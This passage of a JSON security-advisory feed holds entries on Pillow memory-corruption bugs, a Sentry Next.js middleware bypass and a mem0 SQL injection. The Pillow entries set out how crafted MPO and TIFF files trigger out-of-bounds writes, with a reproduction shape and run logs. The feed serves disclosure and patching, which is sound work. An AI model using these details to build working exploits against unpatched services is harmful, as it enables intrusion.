(Composer)","laravel/framework","composer"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-f9x3-7vq9-cph6","asOf":"2026-10-23T21:50:28.000Z"},"epss":{"probability":0.00696,"percentile":0.52751,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114509&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-f9x3-7vq9-cph6","url":"https://github.com/advisories/GHSA-f9x3-7vq9-cph6","type":"primary","publishedAt":"2026-10-23T21:50:27.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-f9x3-7vq9-cph6, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-114509","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114509","type":"primary","publishedAt":"2026-10-21T22:16:49.710Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114509&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114509, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96639","cveId":"CVE-2026-96639","aliases":["GHSA-v9pv-5gc8-w2m6"],"kind":"vulnerability","title":"Pillow multi-frame loaders can reuse stale native image storage after mode transitions","summary":"If frame 0 allocates storage for a narrow mode such as `L`, and a later frame of the same dimensions switches to a wider mode such as `RGB` or `CMYK`, Pillow may decode wider pixels into the stale narrow native buffer. This causes native\nout-of-bounds writes and process crashes. In the MPO/JPEG path, I also demonstrated command execution in matching Python/Pillow runtime profiles through Pillow's documented `ImageSequence.Iterator` + `frame.load()` path.\n\nSeveral multi-frame `seek()` / `_open()` paths can update `self._mode` and decoder tiles for a later frame without invalidating `_im`. The decoder then writes or reads according to the new frame mode while the native storage still belongs to the old frame mode.","detail":"### Summary\nPillow multi-frame image loaders can retain native `ImagingCore` storage allocated for one frame while changing the Python-side image `mode` and decoder tiles for a later frame.\n\nIf frame 0 allocates storage for a narrow mode such as `L`, and a later frame of the same dimensions switches to a wider mode such as `RGB` or `CMYK`, Pillow may decode wider pixels into the stale narrow native buffer. This causes native\nout-of-bounds writes and process crashes. In the MPO/JPEG path, I also demonstrated command execution in matching Python/Pillow runtime profiles through Pillow's documented `ImageSequence.Iterator` + `frame.load()` path.\n\n### Details\nThe root cause appears to be that `ImageFile.load_prepare()` only reallocates native storage when `_im is None`. It does not verify that the retained native `ImagingCore` storage still matches `self.mode` and `self.size`.\n\nSeveral multi-frame `seek()` / `_open()` paths can update `self._mode` and decoder tiles for a later frame without invalidating `_im`. The decoder then writes or reads according to the new frame mode while the native storage still belongs to the old frame mode.\n\nVerified affected surfaces:\n\n1. **PSD**\n\n `PsdImageFile.seek()` can switch from grayscale/native `L` storage to RGB layer decoding while retaining `_im`. This produces attacker-controlled native out-of-bounds writes and reliable crashes.\n\n2. **MPO/JPEG**\n\n A crafted two-frame MPO can make frame 0 allocate `L` storage, then make frame 1 decode `CMYK` / `RGB` data into the retained `L` storage. The documented `ImageSequence.Iterator` path reaches this with `frame.load()`.\n Verified native memory corruption, crash, over-read behavior, and scoped harmless-marker command execution on Pillow 12.3.0.\n\n3. **DCX**\n\n `DcxImageFile.seek()` calls `PcxImageFile._open()`, which changes mode/tile state without a native-storage mode guard. A crafted DCX with `L` then `RGB` PCX frames produces retained-storage mismatch and crash.\n\n4. **MIC**\n\n MIC can call `TiffImageFile._open()` directly and bypass TIFF's normal guarded `seek()` behavior. With a `NextIFD`-based reachable frame transition, this produces retained-storage mismatch and crash.\n\nTIFF appears to be a useful positive control because its `seek()` path checks\nboth size and mode before reusing storage.\n\n### Impact\n- process crash / denial of service,\n- native out-of-bounds write,\n- native over-read in the MPO path.\n\nStronger proven impact:\n\n- command execution in matching Python/Pillow runtime profiles through the MPO/JPEG path.\n\nServer-side deployment impact:\n\n- Create a local vulnerable web upload service that accepts an unauthenticated MPO upload and automatically processes it with Pillow.\n- The attack is one HTTP request and requires no user interaction after upload.\n- The fixed harmless command-output marker succeeded 10/10 times.\n- The `_im=None` control was clean 10/10 times.\n\n## Reproduction Evidence\n\nTested version:\n\n```text\nPillow 12.3.0\n```\n\nMPO terminal proof environments:\n\n```text\nPython 3.12.3 + Pillow 12.3.0, clean PyPI environment:\nmarker 10/10, control 0/10\n\nPython 3.13.14 + Pillow 12.3.0, prepared profile:\nmarker 10/10, control 0/10\n```\n\nServer-side web-upload proof:\n\n```text\ncontrol 1..10: MARKER_MISSING\ncontrol_summary ok 0 missing 10 /10\n\nvulnerable 1..10: MARKER_OK marker_output \nvulnerable_summary ok 10 missing 0 /10\n```\n\nThe terminal proof uses a fixed harmless marker command only. It does not use a reverse shell, persistence, data exfiltration, or arbitrary attacker-selected commands.\n\nI can provide the following private artifacts to maintainers:\n\n- minimal crash fixtures for PSD, MPO, DCX, and MIC,\n- non-weaponized MPO marker PoC,\n- local vulnerable web upload demo,\n- gdb/GEF geometry receipts,\n- control-run logs,\n- proposed regression-test shape.\n\n## Minimal Reproduction Shape\n\nFor the MPO path, the vulnerable consumer shape is:\n\n```python\nfrom io import BytesIO\nfrom PIL import Image, ImageSequence\n\nsource = BytesIO(open(path, \"rb\").read())\nimage = Image.open(source)\niterator = ImageSequence.Iterator(image)\nnext(iterator).load()\nnext(iterator).load()\n```\n\nThe crafted image shape is:\n\n```text\nframe 0: mode L, dimensions W x H\nframe 1: same W x H, wider mode such as CMYK\n```\n\nFrame 0 allocates native `L` storage. Frame 1 changes the logical mode and decoder state but can reuse the old native storage. The frame 1 decoder writes using the wider mode into the narrow storage.\n\n## Suggested Fix Direction\n\nBefore reusing native `ImagingCore` storage, Pillow should verify that the retained storage is compatible with the current logical image mode and size.\n\nA central guard in `ImageFile.load_prepare()` could compare native storage mode/size against `self.mode` / `self.size` and allocate fresh storage when they differ. Alternatively, every mode-changing `seek()` / `_open()` path should explicitly invalidate `_im` before decoding.\n\nCaution: TIFF has specialized tile-size behavior and already has a mode/size guard, so a central fix should avoid regressing TIFF tile-buffer handling.\n\n## Credit\n\n```text\nRotem Kama\n```\n\n## Methodology Note\n\nAI-assisted analysis was used for discovery and verification support. Claims in this report are limited to the local artifacts, controls, and command outputs described above.\n\nAffected package ranges reported by GitHub:\nPillow: >= 11.0.0, < 13.0.0","action":"GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:00:15.000Z","updatedAt":"2026-10-22T16:46:48.920Z","regions":["Global"],"vendor":null,"product":"Pillow","stacks":["Python packages (PyPI)","Pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96639","asOf":"2026-10-22T16:46:48.920Z"},"epss":{"probability":0.00672,"percentile":0.51799,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96639&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-v9pv-5gc8-w2m6","url":"https://github.com/advisories/GHSA-v9pv-5gc8-w2m6","type":"primary","publishedAt":"2026-10-22T16:00:15.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-v9pv-5gc8-w2m6, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-v9pv-5gc8-w2m6, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-v9pv-5gc8-w2m6, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-v9pv-5gc8-w2m6, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-v9pv-5gc8-w2m6, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-v9pv-5gc8-w2m6, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-v9pv-5gc8-w2m6, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-v9pv-5gc8-w2m6, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-v9pv-5gc8-w2m6, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-96639","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96639","type":"primary","publishedAt":"2026-10-21T21:20:32.217Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96639&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96639, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114139","cveId":"CVE-2026-114139","aliases":["GHSA-mchm-gjx6-7h55"],"kind":"vulnerability","title":"Sentry-Javascript: Middleware Bypass when using Tunnel route","summary":"The `tunnelRoute` option makes the SDK send browser events to a path on your own Next.js server (for example `/monitoring`), where a rewrite forwards them to Sentry to prevent ad blockers from blocking them. To keep those envelope requests from being rejected by your middleware, the SDK skips middleware for them.\n\nThe middleware skip was wider than the rewrite. The rewrite only serves requests to the tunnel path itself with the `o` and `p` parameters set. The skip applied to anything under the tunnel path. Requests in that gap go to your application instead of Sentry, and your middleware never runs on them.","detail":"### Impact\n\nThe `tunnelRoute` option makes the SDK send browser events to a path on your own Next.js server (for example `/monitoring`), where a rewrite forwards them to Sentry to prevent ad blockers from blocking them. To keep those envelope requests from being rejected by your middleware, the SDK skips middleware for them.\n\nThe middleware skip was wider than the rewrite. The rewrite only serves requests to the tunnel path itself with the `o` and `p` parameters set. The skip applied to anything under the tunnel path. Requests in that gap go to your application instead of Sentry, and your middleware never runs on them.\n\nSkipping middleware does not grant the request any privileges. Routes that check the session server-side are still protected.\n\nYou are affected only if **all** of the following are true:\n\n1. `tunnelRoute` is set (a string path or `true`),\n2. your app is built with **webpack** (Turbopack builds are not affected),\n3. some route of your application resolves under the tunnel path. That could be a direct collision (`/monitoring/foo` with `tunnelRoute: '/monitoring'`) or a dynamic segment at the route root (`app/[locale]/…`), which matches any first path segment, and\n4. your middleware is the only place that enforces authorization for those routes.\n\nSentry's own services, and the data in your Sentry organization, are not affected.\n\n### Patches\n\nFixed in [9.47.2](https://github.com/getsentry/sentry-javascript/releases/tag/9.47.2), [10.75.2](https://github.com/getsentry/sentry-javascript/releases/tag/10.75.2) and [11.0.0-rc.1](https://github.com/getsentry/sentry-javascript/releases/tag/11.0.0-rc.1). The skip now matches only the requests the tunnel rewrite actually serves. No configuration change is needed.\n\n### Workarounds\n\n- Set `tunnelRoute` to a path no route of yours can resolve under, or remove the option.\n- Build with Turbopack (default for `next build` from Next.js 16).\n- Enforce authorization in the route, layout or data-access path as well as in middleware.\n\nAffected package ranges reported by GitHub:\n@sentry/nextjs: >= 9.36.0, < 9.47.2\n@sentry/nextjs: >= 10.0.0-alpha.0, < 10.75.2\n@sentry/nextjs: >= 11.0.0-alpha.0, < 11.0.0-rc.1","action":"GitHub lists first patched versions: @sentry/nextjs: 9.47.2; @sentry/nextjs: 10.75.2; @sentry/nextjs: 11.0.0-rc.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T15:55:07.000Z","updatedAt":"2026-10-22T17:29:28.470Z","regions":["Global"],"vendor":null,"product":"@sentry/nextjs, @sentry/nextjs, @sentry/nextjs","stacks":["JavaScript packages (npm)","@sentry/nextjs","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114139","asOf":"2026-10-22T17:29:28.470Z"},"epss":{"probability":0.0051,"percentile":0.43214,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114139&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-mchm-gjx6-7h55","url":"https://github.com/advisories/GHSA-mchm-gjx6-7h55","type":"primary","publishedAt":"2026-10-22T15:55:07.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-mchm-gjx6-7h55, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-mchm-gjx6-7h55, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-mchm-gjx6-7h55, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-mchm-gjx6-7h55, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-mchm-gjx6-7h55, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-mchm-gjx6-7h55, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-mchm-gjx6-7h55, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-mchm-gjx6-7h55, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-mchm-gjx6-7h55, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-114139","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114139","type":"primary","publishedAt":"2026-10-21T21:17:56.353Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114139&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114139, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115324","cveId":"CVE-2026-115324","aliases":["GHSA-7587-9684-52r6"],"kind":"vulnerability","title":"mem0ai Databricks vector store vulnerable to SQL injection","summary":"mem0 0.1.117 before 1.0.8 contains an sql injection vulnerability in mem0/vector_stores/databricks.py that allows attackers to inject SQL by influencing stored memory content. Attackers can supply crafted memory text, metadata, or message names that reach unescaped insert() and update() string interpolation to execute injected SQL on the configured Databricks SQL warehouse.","detail":"mem0 0.1.117 before 1.0.8 contains an sql injection vulnerability in mem0/vector_stores/databricks.py that allows attackers to inject SQL by influencing stored memory content. Attackers can supply crafted memory text, metadata, or message names that reach unescaped insert() and update() string interpolation to execute injected SQL on the configured Databricks SQL warehouse.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T11:17:51.263Z","updatedAt":"2026-10-23T20:52:53.000Z","regions":["Global"],"vendor":null,"product":"mem0ai","stacks":["Python packages (PyPI)","mem0ai","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-7587-9684-52r6","asOf":"2026-10-23T20:52:53.000Z"},"epss":{"probability":0.00322,"percentile":0.24979,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115324&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115324","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115324","type":"primary","publishedAt":"2026-10-22T11:17:51.263Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"GitHub-reviewed advisory GHSA-7587-9684-52r6","url":"https://github.com/advisories/GHSA-7587-9684-52r6","type":"primary","publishedAt":"2026-10-22T12:31:17.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-7587-9684-52r6, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115324&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115324, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112393","cveId":"CVE-2026-112393","aliases":["GHSA-332p-7hrc-92wf"],"kind":"vulnerability","title":"Pillow: Heap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO","summary":"```\n============================================================================\nHeap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO\nLocation: src/libImaging/TiffDecode.c:94 in _tiffWriteProc()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nPillow can write attacker-chosen data past the end of a heap buffer when it saves a TIFF image to an in-memory destination such as `io.BytesIO` rather than to a file. The same code also copies leftover heap memory from the process into the saved file. Anyone who can supply an image to a service that opens it and re-saves it as TIFF this way can trigger this with default settings. The attached reproducer crashes the process, and the overflow could potentially be developed further, but code execution is not demonstrated here.","detail":"```\n============================================================================\nHeap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO\nLocation: src/libImaging/TiffDecode.c:94 in _tiffWriteProc()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nPillow can write attacker-chosen data past the end of a heap buffer when it saves a TIFF image to an in-memory destination such as `io.BytesIO` rather than to a file. The same code also copies leftover heap memory from the process into the saved file. Anyone who can supply an image to a service that opens it and re-saves it as TIFF this way can trigger this with default settings. The attached reproducer crashes the process, and the overflow could potentially be developed further, but code execution is not demonstrated here.\n\nThe bug is in `_tiffWriteProc` in `src/libImaging/TiffDecode.c`. This is the write callback for the in-memory sink that Pillow gives libtiff whenever the save target has no `fileno()`. While writing the directory, libtiff seeks past the current end of data and writes tag values there. `_tiffWriteProc` sizes its `realloc()` from `state->size + size` instead of from the write position `state->loc`. As a result, the first out-of-line tag value written after that seek can run past the allocation by up to the size of the directory: 12 bytes per entry, 126 bytes in the minimal case, and 2384 bytes observed with a 331-entry directory. The overflowing bytes are the tail of a tag value taken from the uploaded file.\n\nNo save options are needed, because compression and tags are inherited from the source image. The overflow does require an attacker-sized out-of-line tag to reach libtiff. That happens when the opened TIFF is saved directly (ImageDescription, DocumentName or XMP), or through an embedded ICC profile, which survives `copy()` in `im.info`. The bytes libtiff skips for alignment are never initialised, so any compressed TIFF over 64 KiB written this way also leaks one stale heap byte per padding hole. That leak needs no crafted tag.\n\nThe attached reproducer builds a 131 KB PackBits TIFF and runs `Image.open(...).save(io.BytesIO(), \"TIFF\")`. Saving the same image to a file path succeeds, but the `BytesIO` save aborts with glibc's `malloc(): corrupted top size`. A second part of the script shows uninitialised heap bytes at the padding offsets of a `BytesIO` save that are zero in the file save. Saves to real files are unaffected. The defect dates to e782fe721e01 (2013) and has been present since Pillow 2.0.0.\n\n## Details\n\nWhen `im.save()` writes a TIFF through libtiff to a target that has no usable `fileno()` (`io.BytesIO`, an HTTP response object, a storage backend stream), libtiff is opened with `TIFFClientOpen()` on Pillow's own in-memory sink, `_tiffWriteProc` / `_tiffSeekProc` in `src/libImaging/TiffDecode.c`. libtiff treats that sink like a file: when it writes the directory it seeks *beyond* the current end of data (to `eof + IFD size`, where the out-of-line tag values go, and one byte further after every odd-length tag value to keep offsets even) and writes there. On a real file the kernel grows the file and zero-fills the gap. The memory sink does neither correctly:\n\n1. `_tiffWriteProc` sizes its `realloc()` from `state->size + size` instead of `state->loc + size`, so the first write after such a seek can land past the end of the new allocation — a heap buffer overflow whose content is tag data taken from the image being saved.\n2. The bytes that libtiff skips are never written, and the grown region is a bare `realloc()`, so they reach the output TIFF with whatever the heap held before.\n\nBoth are reachable with default settings by the ordinary \"re-encode the upload\" sequence `Image.open(upload); im.save(io.BytesIO(), \"TIFF\")` with no save options: `compression` defaults to the source file's (`src/PIL/TiffImagePlugin.py:1734`), any compression other than raw selects the libtiff writer (`:1746`), the source's `tag_v2` entries are passed through to libtiff (`:1959`), and a target without `fileno()` leaves `_fp = 0` (`:1928-1935`), i.e. the memory sink. The overflow half additionally needs an attacker-controlled out-of-line tag value of the right length to reach libtiff. With the opened `TiffImageFile` saved directly (`tag_v2` passthrough) that can be a ~64 KiB ASCII tag (269/270/271/272) or the XMP packet (tag 700, type BYTE — arbitrary bytes), and the number of tags the upload carries sets the IFD size, i.e. the overrun length (12 bytes per entry; 2384 bytes with a 331-entry IFD observed). After `convert()`/`resize()`/`thumbnail()`/`copy()` the `tag_v2` entries are gone, but 